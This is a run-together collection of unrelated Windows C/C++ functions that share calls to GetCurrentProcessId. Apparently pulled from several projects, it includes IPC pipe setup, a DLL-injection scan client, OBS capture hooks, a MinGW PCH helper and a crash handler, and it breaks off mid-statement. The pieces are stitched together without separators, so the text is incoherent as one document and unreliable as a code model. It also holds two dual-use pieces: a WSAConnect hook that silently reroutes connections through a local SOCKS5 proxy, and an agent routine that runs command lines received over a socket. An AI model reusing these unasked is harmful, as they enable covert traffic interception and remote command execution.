bool Channel::CreatePipe(const IPC::ChannelHandle &channel_handle) { assert(INVALID_HANDLE_VALUE == pipe_); std::wstring pipe_name; // If we already have a valid pipe for channel just copy it. if (channel_handle.pipe.handle) { assert(channel_handle.name.empty()); pipe_name = L"Not Available"; // Just used for LOG // Check that the given pipe confirms to the specified mode. We can // only check for PIPE_TYPE_MESSAGE & PIPE_SERVER_END flags since the // other flags (PIPE_TYPE_BYTE, and PIPE_CLIENT_END) are defined as 0. DWORD flags = 0; GetNamedPipeInfo(channel_handle.pipe.handle, &flags, NULL, NULL, NULL); assert(!(flags & PIPE_TYPE_MESSAGE)); if (!DuplicateHandle(GetCurrentProcess(), channel_handle.pipe.handle, GetCurrentProcess(), &pipe_, 0, FALSE, DUPLICATE_SAME_ACCESS)) { //LOG(WARNING) << "DuplicateHandle failed. Error :" << GetLastError(); return false; } } else { assert(!channel_handle.pipe.handle); pipe_name = PipeName(channel_handle.name, &client_secret_); //Ïȳ¢ÊÔ´´½¨ const DWORD open_mode = PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED | FILE_FLAG_FIRST_PIPE_INSTANCE; validate_client_ = !!client_secret_; pipe_ = CreateNamedPipeW(pipe_name.c_str(), open_mode, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 1, kReadBufferSize, kReadBufferSize, 5000, NULL); if (pipe_ == INVALID_HANDLE_VALUE) { pipe_ = CreateFileW(pipe_name.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION | FILE_FLAG_OVERLAPPED, NULL); waiting_connect_ = false; } } if (pipe_ == INVALID_HANDLE_VALUE) { // If this process is being closed, the pipe may be gone already. //LOG(WARNING) << "Unable to create pipe \"" << pipe_name << // "\" in " << (mode & MODE_SERVER_FLAG ? "server" : "client") // << " mode. Error :" << GetLastError(); return false; } // Create the Hello message to be sent when Connect is called Message* m = new Message(MSG_ROUTING_NONE, HELLO_MESSAGE_TYPE, IPC::Message::PRIORITY_NORMAL); m->AddRef(); // Don't send the secret to the untrusted process, and don't send a secret // if the value is zero (for IPC backwards compatability). int32 secret = validate_client_ ? 0 : client_secret_; if (!m->WriteInt(GetCurrentProcessId()) || (secret && !m->WriteUInt32(secret))) { CloseHandle(pipe_); pipe_ = INVALID_HANDLE_VALUE; m->Release(); return false; } output_queue_.push(m); return true; }
BOOL CDllInjectClient::SendData( CHAR * aReqBuf , DWORD aReqBufSize , CHAR * aRspBuf , DWORD * aRspBufSize ) { _ASSERT( m_SmInit.InitReq.Remote.hDllInjectMgrAliveThread && m_SmInit.InitReq.Remote.hPerServerMutex[PER_SERVER_MUTEX_INDEX_REMOTE_INSTANCE] && m_SmInit.InitReq.Remote.hPerServerMutex[PER_SERVER_MUTEX_INDEX_SHAREM_MEM_R2L] && m_SmInit.InitReq.Remote.hPerServerSm[PER_SERVER_SM_INDEX_REMOTE_TO_LOCAL] && m_SmInit.InitReq.Remote.hPerServerSm[PER_SERVER_SM_INDEX_LOCAL_TO_REMOTE] && m_SmInit.InitReq.Remote.hPerServerEvt[PER_SERVER_EVT_INDEX_STOP] && m_SmInit.InitReq.Remote.hPerServerEvt[PER_SERVER_EVT_INDEX_REMOTE_REQ] && m_SmInit.InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_STOP] && m_SmInit.InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_REMOTE_REQ_OK] && m_SmInit.InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_REMOTE_RSP] && m_SmInit.InitReq.Local.pLocalCtx && m_SmData[PER_SERVER_SM_INDEX_REMOTE_TO_LOCAL] && m_SmData[PER_SERVER_SM_INDEX_LOCAL_TO_REMOTE] ); if ( FALSE == this->IsConnected() ) { DbgOut( ERRO , DBG_DLL_INJECT_MGR , "Not connected" ); return FALSE; } BOOL bRet = FALSE; HANDLE hWaitInstance[] = { (HANDLE)m_SmInit.InitReq.Remote.hPerServerEvt[PER_SERVER_EVT_INDEX_STOP] , (HANDLE)m_SmInit.InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_STOP] , (HANDLE)m_SmInit.InitReq.Remote.hDllInjectMgrAliveThread , (HANDLE)m_SmInit.InitReq.Remote.hPerServerMutex[PER_SERVER_MUTEX_INDEX_REMOTE_INSTANCE] }; HANDLE hWaitSmR2L[] = { (HANDLE)m_SmInit.InitReq.Remote.hPerServerEvt[PER_SERVER_EVT_INDEX_STOP] , (HANDLE)m_SmInit.InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_STOP] , (HANDLE)m_SmInit.InitReq.Remote.hDllInjectMgrAliveThread , (HANDLE)m_SmInit.InitReq.Remote.hPerServerMutex[PER_SERVER_MUTEX_INDEX_SHAREM_MEM_R2L] }; HANDLE hWaitReqOk[] = { (HANDLE)m_SmInit.InitReq.Remote.hPerServerEvt[PER_SERVER_EVT_INDEX_STOP] , (HANDLE)m_SmInit.InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_STOP] , (HANDLE)m_SmInit.InitReq.Remote.hDllInjectMgrAliveThread , (HANDLE)m_SmInit.InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_REMOTE_REQ_OK] }; HANDLE hWaitRsp[] = { (HANDLE)m_SmInit.InitReq.Remote.hPerServerEvt[PER_SERVER_EVT_INDEX_STOP] , (HANDLE)m_SmInit.InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_STOP] , (HANDLE)m_SmInit.InitReq.Remote.hDllInjectMgrAliveThread , (HANDLE)m_SmInit.InitReq.Remote.hPerClientEvt[PER_CLIENT_EVT_INDEX_REMOTE_RSP] }; DWORD dwWaitInstance = WaitForMultipleObjects( _countof(hWaitInstance) , hWaitInstance , FALSE , INFINITE ); switch ( dwWaitInstance ) { case WAIT_OBJECT_0 : //PER_SERVER_EVT_INDEX_STOP case WAIT_OBJECT_0 + 1 : //PER_CLIENT_EVT_INDEX_STOP case WAIT_OBJECT_0 + 2 : //hDllInjectMgrAliveThread DbgOut( WARN , DBG_DLL_INJECT_MGR , "Got stop event or local process left" ); break; case WAIT_OBJECT_0 + 3 : //PER_SERVER_MUTEX_INDEX_REMOTE_INSTANCE case WAIT_ABANDONED_0 + 3 : { DWORD dwWaitSmR2L = WaitForMultipleObjects( _countof(hWaitSmR2L) , hWaitSmR2L , FALSE , INFINITE ); switch ( dwWaitSmR2L ) { case WAIT_OBJECT_0 : //PER_SERVER_EVT_INDEX_STOP case WAIT_OBJECT_0 + 1 : //PER_CLIENT_EVT_INDEX_STOP case WAIT_OBJECT_0 + 2 : //hDllInjectMgrAliveThread DbgOut( WARN , DBG_DLL_INJECT_MGR , "Got stop event or local process left" ); break; case WAIT_OBJECT_0 + 3 : //PER_SERVER_MUTEX_INDEX_SHAREM_MEM_R2L case WAIT_ABANDONED_0 + 3 : { DbgOut( INFO , DBG_DLL_INJECT_MGR , "Filling data to share memory for scanning" ); //Fill pUserData into share memory R2L DLL_INJECT_SERVER_SM_DATA_HEADER * pSmR2L = m_SmData[PER_SERVER_SM_INDEX_REMOTE_TO_LOCAL]; DLL_INJECT_SERVER_SM_DATA_SCAN_REQ * pReq = (DLL_INJECT_SERVER_SM_DATA_SCAN_REQ *)&pSmR2L->pData; CopyMemory( &pReq->pReq , aReqBuf , aReqBufSize ); pReq->dwReqSize = aReqBufSize; pSmR2L->dwDataSize = FIELD_OFFSET( DLL_INJECT_SERVER_SM_DATA_SCAN_REQ , pReq ) + pReq->dwReqSize; pSmR2L->uDataType = DLL_INJECT_SERVER_SM_DATA_TYPE_SCAN_REQ; pSmR2L->pLocalCtx = m_SmInit.InitReq.Local.pLocalCtx; pSmR2L->hRemoteProc = (UINT64)m_SmInit.InitReq.Local.hRemoteProc; pSmR2L->dwRemotePid = GetCurrentProcessId(); //Signal scan request event SetEvent( (HANDLE)m_SmInit.InitReq.Remote.hPerServerEvt[PER_SERVER_EVT_INDEX_REMOTE_REQ] ); break; } default : DbgOut( ERRO , DBG_DLL_INJECT_MGR , "WaitForMultipleObjects() return unexpected value 0x%08X. GetLastError()=%!WINERROR!" , dwWaitSmR2L , GetLastError() ); break; } ReleaseMutex( (HANDLE)m_SmInit.InitReq.Remote.hPerServerMutex[PER_SERVER_MUTEX_INDEX_SHAREM_MEM_R2L] ); break; } default : DbgOut( ERRO , DBG_DLL_INJECT_MGR , "WaitForMultipleObjects() return unexpected value 0x%08X. GetLastError()=%!WINERROR!" , dwWaitInstance , GetLastError() ); break; } DWORD dwWaitReqOk = WaitForMultipleObjects( _countof(hWaitReqOk) , hWaitReqOk , FALSE , INFINITE ); switch ( dwWaitReqOk ) { case WAIT_OBJECT_0 : //PER_SERVER_EVT_INDEX_STOP case WAIT_OBJECT_0 + 1 : //PER_CLIENT_EVT_INDEX_STOP case WAIT_OBJECT_0 + 2 : //hDllInjectMgrAliveThread DbgOut( WARN , DBG_DLL_INJECT_MGR , "Got stop event or local process left" ); break; case WAIT_OBJECT_0 + 3 : //PER_CLIENT_EVT_INDEX_REMOTE_REQ_OK case WAIT_ABANDONED_0 + 3 : DbgOut( INFO , DBG_DLL_INJECT_MGR , "Got scan request received event" ); break; default : DbgOut( ERRO , DBG_DLL_INJECT_MGR , "WaitForMultipleObjects() return unexpected value 0x%08X. GetLastError()=%!WINERROR!" , dwWaitReqOk , GetLastError() ); break; } ReleaseMutex( (HANDLE)m_SmInit.InitReq.Remote.hPerServerMutex[PER_SERVER_MUTEX_INDEX_REMOTE_INSTANCE] ); //Wait for scan response DWORD dwWaitRsp = WaitForMultipleObjects( _countof(hWaitRsp) , hWaitRsp , FALSE , INFINITE ); switch ( dwWaitRsp ) { case WAIT_OBJECT_0 : //PER_SERVER_EVT_INDEX_STOP case WAIT_OBJECT_0 + 1 : //PER_CLIENT_EVT_INDEX_STOP case WAIT_OBJECT_0 + 2 : //hDllInjectMgrAliveThread DbgOut( WARN , DBG_DLL_INJECT_MGR , "Got stop event or local process left" ); break; case WAIT_OBJECT_0 + 3 : //PER_CLIENT_EVT_INDEX_REMOTE_RSP case WAIT_ABANDONED_0 + 3 : { DbgOut( INFO , DBG_DLL_INJECT_MGR , "Got scan response event" ); //Get data from share memory L2R DLL_INJECT_SERVER_SM_DATA_HEADER * pSmL2R = m_SmData[PER_SERVER_SM_INDEX_LOCAL_TO_REMOTE]; _ASSERT( DLL_INJECT_SERVER_SM_DATA_TYPE_SCAN_RSP == pSmL2R->uDataType ); DLL_INJECT_SERVER_SM_DATA_SCAN_RSP * pRsp = (DLL_INJECT_SERVER_SM_DATA_SCAN_RSP *)&pSmL2R->pData; if ( aRspBufSize ) { CopyMemory( aRspBuf , &pRsp->pRsp , min(pRsp->dwRspSize , *aRspBufSize) ); *aRspBufSize = pRsp->dwRspSize; } else { CopyMemory( aRspBuf , &pRsp->pRsp , pRsp->dwRspSize ); } DbgOut( INFO , DBG_DLL_INJECT_MGR , "Scan result is %!HEXDUMP!" , WppHexDump((CONST UCHAR *)pRsp->pRsp,(ULONG)pRsp->dwRspSize) ); //Signal scan response received event to let worker thread release the share memory SetEvent( (HANDLE)m_SmInit.InitReq.Remote.hPerServerEvt[PER_SERVER_EVT_INDEX_REMOTE_RSP_OK] ); bRet = TRUE; break; } default : DbgOut( ERRO , DBG_DLL_INJECT_MGR , "WaitForMultipleObjects() return unexpected value 0x%08X. GetLastError()=%!WINERROR!" , dwWaitReqOk , GetLastError() ); break; } return bRet; }
int WINAPI new_WSAConnect(SOCKET s, const struct sockaddr *name, int namelen, LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS) { int rc, err; struct sockaddr_in in_addr; struct sockaddr_in out_addr; char buf[256]; fd_set set; DEBUG_ENTER; memcpy(&in_addr, name, sizeof(in_addr)); /* change non-local */ if (in_addr.sin_addr.s_addr != inet_addr("127.0.0.1")) { DEBUG; out_addr.sin_family = AF_INET; out_addr.sin_port = htons(1080); out_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); } DEBUG; /* connect */ _unhook(2); rc = WSAConnect(s, (struct sockaddr *) (&out_addr), sizeof(struct sockaddr_in), lpCallerData, lpCalleeData, lpSQOS, lpGQOS); err = WSAGetLastError(); #if defined(_DEBUG) || defined(_DEBUG_) TRACE_NO("connect (rc:%i err:%i pid:%i): %s\n", rc, err, GetCurrentProcessId(), socketError()); #endif _hook(2); if (rc != 0 && err != WSAEWOULDBLOCK) { closesocket(s); DEBUG_LEAVE; return rc; } /* pass through local */ if (in_addr.sin_addr.s_addr == inet_addr("127.0.0.1")) { DEBUG_LEAVE; return rc; } /* fd_set */ FD_ZERO(&set); FD_SET(s, &set); /* sock5 handshake */ select(s + 1, NULL, &set, NULL, 0); rc = send(s, "\x05\x01\x00", 3, 0); #if defined(_DEBUG) || defined(_DEBUG_) TRACE_VERBOSE("send (rc:%i err:%i pid:%i): %s\n", rc, WSAGetLastError(), GetCurrentProcessId(), socketError()); #endif if (rc != 3) { closesocket(s); DEBUG_LEAVE; return SOCKET_ERROR; } /* socks5 ack */ select(s + 1, &set, NULL, NULL, 0); rc = recv(s, buf, 256, 0); #if defined(_DEBUG) || defined(_DEBUG_) TRACE_VERBOSE("recv (rc:%i err:%i pid:%i): %s\n", rc, WSAGetLastError(), GetCurrentProcessId(), socketError()); DUMP(buf, rc); #endif if (rc != 2) { closesocket(s); DEBUG_LEAVE; return SOCKET_ERROR; } /* socks5 request */ memcpy(buf, "\x05\x01\x00\x01", 4); memcpy(buf + 4, &in_addr.sin_addr.s_addr, 4); memcpy(buf + 8, &in_addr.sin_port, 2); select(s + 1, NULL, &set, NULL, 0); rc = send(s, buf, 10, 0); #if defined(_DEBUG) || defined(_DEBUG_) TRACE_VERBOSE("send (rc:%i err:%i pid:%i): %s\n", rc, WSAGetLastError(), GetCurrentProcessId(), socketError()); #endif if (rc != 10) { closesocket(s); DEBUG_LEAVE; return SOCKET_ERROR; } /* socks5 ack */ select(s + 1, &set, NULL, NULL, 0); rc = recv(s, buf, 256, 0); #if defined(_DEBUG) || defined(_DEBUG_) TRACE_VERBOSE("recv (rc:%i err:%i pid:%i): %s\n", rc, WSAGetLastError(), GetCurrentProcessId(), socketError()); DUMP(buf, rc); #endif if (rc != 10) { closesocket(s); DEBUG_LEAVE; return SOCKET_ERROR; } DEBUG_LEAVE; return 0; }
DWORD WINAPI CaptureThread(HANDLE hDllMainThread) { bool bSuccess = false; //wait for dll initialization to finish before executing any initialization code if(hDllMainThread) { WaitForSingleObject(hDllMainThread, INFINITE); CloseHandle(hDllMainThread); } TCHAR lpLogPath[MAX_PATH]; SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, lpLogPath); wcscat_s(lpLogPath, MAX_PATH, TEXT("\\OBS\\pluginData\\captureHookLog.txt")); dummyEvent = CreateEvent(NULL, FALSE, FALSE, NULL); if(!logOutput.is_open()) logOutput.open(lpLogPath, ios_base::in | ios_base::out | ios_base::trunc, _SH_DENYNO); wstringstream str; str << OBS_KEEPALIVE_EVENT << UINT(GetCurrentProcessId()); strKeepAlive = str.str(); logOutput << CurrentDateTimeString() << "we're booting up: " << endl; InitializeCriticalSection(&d3d9EndMutex); WNDCLASS wc; ZeroMemory(&wc, sizeof(wc)); wc.hInstance = hinstMain; wc.lpszClassName = SENDER_WINDOWCLASS; wc.lpfnWndProc = (WNDPROC)DefWindowProc; DWORD procID = GetCurrentProcessId(); wstringstream strRestartEvent, strEndEvent, strReadyEvent, strExitEvent, strInfoMemory; strRestartEvent << RESTART_CAPTURE_EVENT << procID; strEndEvent << END_CAPTURE_EVENT << procID; strReadyEvent << CAPTURE_READY_EVENT << procID; strExitEvent << APP_EXIT_EVENT << procID; strInfoMemory << INFO_MEMORY << procID; hSignalRestart = GetEvent(strRestartEvent.str().c_str()); hSignalEnd = GetEvent(strEndEvent.str().c_str()); hSignalReady = GetEvent(strReadyEvent.str().c_str()); hSignalExit = GetEvent(strExitEvent.str().c_str()); hInfoFileMap = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, sizeof(CaptureInfo), strInfoMemory.str().c_str()); if(!hInfoFileMap) { logOutput << CurrentTimeString() << "CaptureThread: could not info file mapping" << endl; return 0; } infoMem = (CaptureInfo*)MapViewOfFile(hInfoFileMap, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(CaptureInfo)); if(!infoMem) { logOutput << CurrentTimeString() << "CaptureThread: could not map view of info shared memory" << endl; CloseHandle(hInfoFileMap); hInfoFileMap = NULL; return 0; } hwndOBS = FindWindow(OBS_WINDOW_CLASS, NULL); if(!hwndOBS) { logOutput << CurrentTimeString() << "CaptureThread: could not find main application window? wtf? seriously?" << endl; return 0; } if (RegisterClass(&wc)) { hwndSender = CreateWindow(SENDER_WINDOWCLASS, NULL, 0, 0, 0, 0, 0, NULL, 0, hinstMain, 0); if (hwndSender) { textureMutexes[0] = OpenMutex(MUTEX_ALL_ACCESS, FALSE, TEXTURE_MUTEX1); if (textureMutexes[0]) { textureMutexes[1] = OpenMutex(MUTEX_ALL_ACCESS, FALSE, TEXTURE_MUTEX2); if (textureMutexes[1]) { while(!AttemptToHookSomething()) Sleep(50); logOutput << CurrentTimeString() << "(half life scientist) everything.. seems to be in order" << endl; MSG msg; while (MsgWaitForMultipleObjects(1, &dummyEvent, FALSE, 3000, QS_ALLPOSTMESSAGE) == WAIT_TIMEOUT) { //while (1) { AttemptToHookSomething(); if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) { TranslateMessage(&msg); DispatchMessage(&msg); } //Sleep(50); } CloseHandle(textureMutexes[1]); textureMutexes[1] = NULL; } else { logOutput << CurrentTimeString() << "could not open texture mutex 2" << endl; } CloseHandle(textureMutexes[0]); textureMutexes[0] = NULL; } else { logOutput << CurrentTimeString() << "could not open texture mutex 1" << endl; } DestroyWindow(hwndSender); } else { logOutput << CurrentTimeString() << "could not create sender window" << endl; } } logOutput << CurrentTimeString() << "exit out of the main thread loop somehow" << endl; return 0; }
/// Do 'execute' instruction. /// /// \param sCommand_line fully command line, after modify /// /// Return AGENT_RET_SUCCESS if succeed, or AGENT_RET_FAIL if fail static MBA_AGENT_RETURN execute_cmd(char *sCmdline) { // Child : hOutputWrite, hInputRead, hErrorWrite // Parent : hOutputRead, hInputWrite HANDLE hOutputRead, hOutputWrite; HANDLE hInputRead, hInputWrite; HANDLE hErrorWrite; // Thread handler HANDLE hThread; DWORD dTid; DWORD dEndSize = 0; WSAPROTOCOL_INFO protoInfo; SECURITY_ATTRIBUTES pipeAttr; // Set up the security attributes struct. pipeAttr.nLength = sizeof(SECURITY_ATTRIBUTES); pipeAttr.lpSecurityDescriptor = NULL; pipeAttr.bInheritHandle = TRUE; // Create the child output pipe. if (!CreatePipe(&hOutputRead, &hOutputWrite, &pipeAttr, 0)) { display_error("execute_cmd - CreatePipe", TRUE); return AGENT_RET_FAIL; } // Create a duplicate of the output write handle for the std error write handle. // This is necessary in case the child application closes one of its std output handles. if ( !DuplicateHandle( GetCurrentProcess(), hOutputWrite, GetCurrentProcess(), &hErrorWrite, 0, TRUE, DUPLICATE_SAME_ACCESS) ) { display_error("execute_cmd - DuplicateHandle : hErrorWrite -> hOutputWrite", TRUE); return AGENT_RET_FAIL; } // Create the child input pipe. if ( !CreatePipe( &hInputRead, &hInputWrite, &pipeAttr,0) ){ display_error("execute_cmd - CreatePipe", TRUE); return AGENT_RET_FAIL; } // Ensure the handle for reading from child stdout pipe is not inherited if ( !SetHandleInformation( hOutputRead, HANDLE_FLAG_INHERIT, 0) ) { display_error("execute_cmd - SetHandleInformation : Child read", TRUE); return AGENT_RET_FAIL; } // Ensure the handle for writing to child stdin pipe is not inherited if ( !SetHandleInformation( hInputWrite, HANDLE_FLAG_INHERIT, 0) ) { display_error("execute_cmd - SetHandleInformation : Child write", TRUE); return AGENT_RET_FAIL; } // Sets up STARTUPINFO structure, and launches redirected child. prep_and_launch_redirected_child(sCmdline, hOutputWrite, hInputRead, hErrorWrite); // Close pipe handles (do not continue to modify in the parent). if (!CloseHandle(hOutputWrite)) { display_error("execute_cmd - CloseHandle : Child Write", TRUE); return AGENT_RET_FAIL; } if (!CloseHandle(hInputRead)) { display_error("execute_cmd - CloseHandle : Child Read", TRUE); return AGENT_RET_FAIL; } if (!CloseHandle(hErrorWrite)) { display_error("execute_cmd - CloseHandle : Child Error", TRUE); return AGENT_RET_FAIL; } // Duplicate ClientSocket for thread WSADuplicateSocket( g_sClientSocket, GetCurrentProcessId(), &protoInfo ); g_sClientDupSocket = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, &protoInfo, 0, 0 ); if( g_sClientDupSocket == INVALID_SOCKET ) { display_error("execute_cmd - WSASocket : Dup ClientSocket", TRUE ); return AGENT_RET_FAIL; } // Launch the thread that gets the input and sends it to the child. hThread = CreateThread( NULL, // a pointer to a SECURITY_ATTRIBUTES structure 0, // the initial size of the stack, in bytes get_and_send_input_thread, // a pointer to the application-defined function to be executed by the thread (LPVOID)hInputWrite, // a pointer to a variable to be passed to the thread. 0, // the flags that control the creation of the thread &dTid); // a pointer to a variable that receives the thread identifier. // If this parameter is NULL, the thread identifier is not returned. if (hThread == NULL) { display_error("execute_cmd - CreateThread : Write", TRUE); return AGENT_RET_FAIL; } // Read the child's output read_and_handle_output( hOutputRead ); // Redirection is complete // Tell the thread to exit and wait for thread to die. closesocket( g_sClientDupSocket ); // send out the zero-sized message to terminate agent 'exec' action send(g_sClientSocket, (const char*)&dEndSize, sizeof(dEndSize), 0); // Wait Thread which keep receiving & forwarding commands if (WaitForSingleObject(hThread, INFINITE) == WAIT_FAILED) { display_error("WaitForSingleObject", TRUE); return AGENT_RET_FAIL; } // Close input and output handle if (!CloseHandle(hOutputRead)) { display_error("execute_cmd - CloseHandle : hOutputRead", TRUE); return AGENT_RET_FAIL; } if (!CloseHandle(hInputWrite)) { display_error("execute_cmd - CloseHandle : hInputWrite", TRUE); return AGENT_RET_FAIL; } return AGENT_RET_SUCCESS; }
pid_t getpid() { return((pid_t) GetCurrentProcessId()); }
void RefreshWindowList(HWND hwndCombobox, StringList &classList) { SendMessage(hwndCombobox, CB_RESETCONTENT, 0, 0); classList.Clear(); BOOL bCurrentProcessIsWow64 = FALSE; IsWow64Process(GetCurrentProcess(), &bCurrentProcessIsWow64); HWND hwndCurrent = GetWindow(GetDesktopWindow(), GW_CHILD); do { if(IsWindowVisible(hwndCurrent)) { RECT clientRect; GetClientRect(hwndCurrent, &clientRect); HWND hwndParent = GetParent(hwndCurrent); DWORD exStyles = (DWORD)GetWindowLongPtr(hwndCurrent, GWL_EXSTYLE); DWORD styles = (DWORD)GetWindowLongPtr(hwndCurrent, GWL_STYLE); if( (exStyles & WS_EX_TOOLWINDOW) == 0 && (styles & WS_CHILD) == 0 && hwndParent == NULL) { String strWindowName; strWindowName.SetLength(GetWindowTextLength(hwndCurrent)); GetWindowText(hwndCurrent, strWindowName, strWindowName.Length()+1); //------- DWORD processID; GetWindowThreadProcessId(hwndCurrent, &processID); if(processID == GetCurrentProcessId()) continue; TCHAR fileName[MAX_PATH+1]; scpy(fileName, TEXT("unknown")); HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processID); if(hProcess) { BOOL bTargetProcessIsWow64 = FALSE; IsWow64Process(hProcess, &bTargetProcessIsWow64); DWORD dwSize = MAX_PATH; QueryFullProcessImageName(hProcess, 0, fileName, &dwSize); CloseHandle(hProcess); if(bCurrentProcessIsWow64 != bTargetProcessIsWow64) continue; } //------- String strFileName = fileName; strFileName.FindReplace(TEXT("\\"), TEXT("/")); String strText; strText << TEXT("[") << GetPathFileName(strFileName) << TEXT("]: ") << strWindowName; int id = (int)SendMessage(hwndCombobox, CB_ADDSTRING, 0, (LPARAM)strWindowName.Array()); SendMessage(hwndCombobox, CB_SETITEMDATA, id, (LPARAM)hwndCurrent); String strClassName; strClassName.SetLength(256); GetClassName(hwndCurrent, strClassName.Array(), 255); strClassName.SetLength(slen(strClassName)); classList << strClassName; } } } while (hwndCurrent = GetNextWindow(hwndCurrent, GW_HWNDNEXT)); }
static int mingw32_gt_pch_use_address (void *addr, size_t size, int fd, size_t offset) { void * mmap_addr; HANDLE mmap_handle; /* Apparently, MS Vista puts unnamed file mapping objects into Global namespace when running an application in a Terminal Server session. This causes failure since, by default, applications don't get SeCreateGlobalPrivilege. We don't need global memory sharing so explicitly put object into Local namespace. If multiple concurrent GCC processes are using PCH functionality, MapViewOfFileEx returns "Access Denied" error. So we ensure the session-wide mapping name is unique by appending process ID. */ #define OBJECT_NAME_FMT "Local\\MinGWGCCPCH-" char* object_name = NULL; /* However, the documentation for CreateFileMapping says that on NT4 and earlier, backslashes are invalid in object name. So, we need to check if we are on Windows2000 or higher. */ OSVERSIONINFO version_info; version_info.dwOSVersionInfoSize = sizeof (version_info); if (size == 0) return 0; /* Offset must be also be a multiple of allocation granularity for this to work. We can't change the offset. */ if ((offset & (va_granularity - 1)) != 0 || size > pch_VA_max_size) return -1; /* Determine the version of Windows we are running on and use a uniquely-named local object if running > 4. */ GetVersionEx (&version_info); if (version_info.dwMajorVersion > 4) { char local_object_name [sizeof (OBJECT_NAME_FMT) + sizeof (DWORD) * 2]; snprintf (local_object_name, sizeof (local_object_name), OBJECT_NAME_FMT "%lx", GetCurrentProcessId()); object_name = local_object_name; } mmap_handle = CreateFileMappingA ((HANDLE) _get_osfhandle (fd), NULL, PAGE_WRITECOPY | SEC_COMMIT, 0, 0, object_name); if (mmap_handle == NULL) { w32_error (__FUNCTION__, __FILE__, __LINE__, "CreateFileMapping"); return -1; } mmap_addr = MapViewOfFileEx (mmap_handle, FILE_MAP_COPY, 0, offset, size, addr); if (mmap_addr != addr) { w32_error (__FUNCTION__, __FILE__, __LINE__, "MapViewOfFileEx"); CloseHandle(mmap_handle); return -1; } return 1; }
LONG CALLBACK OBSExceptionHandler (PEXCEPTION_POINTERS exceptionInfo) { HANDLE hProcess; HMODULE hDbgHelp; MINIDUMP_EXCEPTION_INFORMATION miniInfo; STACKFRAME64 frame = {0}; CONTEXT context = *exceptionInfo->ContextRecord; SYMBOL_INFO *symInfo; DWORD64 fnOffset; TCHAR logPath[MAX_PATH]; OSVERSIONINFOEX osInfo; SYSTEMTIME timeInfo; ENUMERATELOADEDMODULES64 fnEnumerateLoadedModules64; SYMSETOPTIONS fnSymSetOptions; SYMINITIALIZE fnSymInitialize; STACKWALK64 fnStackWalk64; SYMFUNCTIONTABLEACCESS64 fnSymFunctionTableAccess64; SYMGETMODULEBASE64 fnSymGetModuleBase64; SYMFROMADDR fnSymFromAddr; SYMCLEANUP fnSymCleanup; MINIDUMPWRITEDUMP fnMiniDumpWriteDump; SYMGETMODULEINFO64 fnSymGetModuleInfo64; DWORD i; DWORD64 InstructionPtr; DWORD imageType; TCHAR searchPath[MAX_PATH], *p; static BOOL inExceptionHandler = FALSE; moduleinfo_t moduleInfo; //always break into a debugger if one is present if (IsDebuggerPresent ()) return EXCEPTION_CONTINUE_SEARCH; //exception codes < 0x80000000 are typically informative only and not crash worthy //0xe06d7363 indicates a c++ exception was thrown, let's just hope it was caught. //this is no longer needed since we're an unhandled handler vs a vectored handler /*if (exceptionInfo->ExceptionRecord->ExceptionCode < 0x80000000 || exceptionInfo->ExceptionRecord->ExceptionCode == 0xe06d7363 || exceptionInfo->ExceptionRecord->ExceptionCode == 0x800706b5) return EXCEPTION_CONTINUE_SEARCH;*/ //uh oh, we're crashing inside ourselves... this is really bad! if (inExceptionHandler) return EXCEPTION_CONTINUE_SEARCH; inExceptionHandler = TRUE; //load dbghelp dynamically hDbgHelp = LoadLibrary (TEXT("DBGHELP")); if (!hDbgHelp) return EXCEPTION_CONTINUE_SEARCH; fnEnumerateLoadedModules64 = (ENUMERATELOADEDMODULES64)GetProcAddress (hDbgHelp, "EnumerateLoadedModulesW64"); fnSymSetOptions = (SYMSETOPTIONS)GetProcAddress (hDbgHelp, "SymSetOptions"); fnSymInitialize = (SYMINITIALIZE)GetProcAddress (hDbgHelp, "SymInitialize"); fnSymFunctionTableAccess64 = (SYMFUNCTIONTABLEACCESS64)GetProcAddress (hDbgHelp, "SymFunctionTableAccess64"); fnSymGetModuleBase64 = (SYMGETMODULEBASE64)GetProcAddress (hDbgHelp, "SymGetModuleBase64"); fnStackWalk64 = (STACKWALK64)GetProcAddress (hDbgHelp, "StackWalk64"); fnSymFromAddr = (SYMFROMADDR)GetProcAddress (hDbgHelp, "SymFromAddrW"); fnSymCleanup = (SYMCLEANUP)GetProcAddress (hDbgHelp, "SymCleanup"); fnSymGetModuleInfo64 = (SYMGETMODULEINFO64)GetProcAddress (hDbgHelp, "SymGetModuleInfo64"); fnMiniDumpWriteDump = (MINIDUMPWRITEDUMP)GetProcAddress (hDbgHelp, "MiniDumpWriteDump"); if (!fnEnumerateLoadedModules64 || !fnSymSetOptions || !fnSymInitialize || !fnSymFunctionTableAccess64 || !fnSymGetModuleBase64 || !fnStackWalk64 || !fnSymFromAddr || !fnSymCleanup || !fnSymGetModuleInfo64) { FreeLibrary (hDbgHelp); return EXCEPTION_CONTINUE_SEARCH; } hProcess = GetCurrentProcess(); fnSymSetOptions (SYMOPT_UNDNAME | SYMOPT_FAIL_CRITICAL_ERRORS | SYMOPT_LOAD_ANYTHING); GetModuleFileName (NULL, searchPath, _countof(searchPath)-1); p = srchr (searchPath, '\\'); if (p) *p = 0; //create a log file GetSystemTime (&timeInfo); for (i = 1;;) { tsprintf_s (logPath, _countof(logPath)-1, 